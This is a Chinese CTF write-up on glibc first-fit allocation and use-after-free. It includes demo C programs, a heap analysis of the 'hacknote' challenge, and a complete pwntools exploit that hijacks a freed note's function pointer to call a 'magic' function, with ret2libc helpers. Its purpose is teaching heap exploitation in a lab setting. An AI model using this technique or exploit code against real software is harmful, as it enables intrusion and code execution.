first_fit&UAF
first_fit原理
堆管理器对free的chunk未完全回收,当再次调用malloc时,会分配先前已经有内容的chunk。
大致流程如下图,但需要避免一些对管理器的检测机制(在一定限制条件下)
实例分析原理
下面看个demo调试,验证上面情况。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
char *p = (char *)malloc(10);
strcpy(p,"hello");
free(p);
//常常未把p=null,置NULL导致被利用
printf("%s\n",p);
return 0;
}
malloc后返回的地址p = 0x003807b8(内容就是屯屯屯…)
执行strcpy后,内存空间内容被改变
free后
总结:
指针P指向位置一直都没变,如果再次分配获得这块内容,就可以产生一些有趣的操作。(这是windows环境中跑的,linux环境给出下面验证代码参考)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}
UAF实例
例题 攻防世界的hacknote
1,拿到先正常流程走下,看看流程
2,拿进IDA逆向分析一波,主要是上述4个函数功能 (magic是可利用函数)
3,分析出add结点的结构体大致是一个指针函数
和一个content
4,先添加两个add(0x10)看看堆区分布情况
观察可得申请一个add(0x10)会产生一个0x18的空间的chunk存放content,而0x10的空间放的是结构体struct自身。绿色成员
便是结构体成员,指针函数所指的内容,即函数print_note_content
。需要想方设法利用改变的也是此位置。
申请一个空间时内容总结:
1,存放不可改变的结构体空间;
2,存放结构体content内容的空间(利用改变指针函数内容);
5,释放刚add的两个结点
(注:重启了一次调试,所以地址不同,0x85a2000对应0x9791000)
利用0x9791000和0x9691028去伪造:
0x9691028当作结构体struct
0x9791000当content内容(first_fit关键,即第一次它本是属于结构体struct,但利用UAF,伪造成了content内容)
顺序解释:
在fastbin[0]中:尾链先分配,即0x9691028(0x85a2028)先出来。在申请add一个节点时,先结构体,再content的顺序分配。(注:这里add(大小)申请节点时,利用大小的方法不唯一,都需要去观察堆的分配情况而定,即能获取到fastbin断链中的地址)
6.再次申请add小于0x10的空间,填充content内容为magic函数地址,利用成功。
7.exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './hacknote'
context.binary = binary
elf = ELF(binary)
p = process('./hacknote')
#p = remote('node3.buuoj.cn',29924) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg():
gdb.attach(p)
pause()
# start
def add(size,name='a'):
sla(':','1')
sla(':',str(size))
sla(':',name)
def delete(index):
sla(':','2')
sla(':',str(index))
def show(index):
sla(':','3')
sla(':',str(index))
magic = p32(elf.sym['magic']) # 0x8048945
add(0x10) # 0
add(0x10) # 1
delete(0)
delete(1)
add(0x8,magic)
show(0)
end
itr()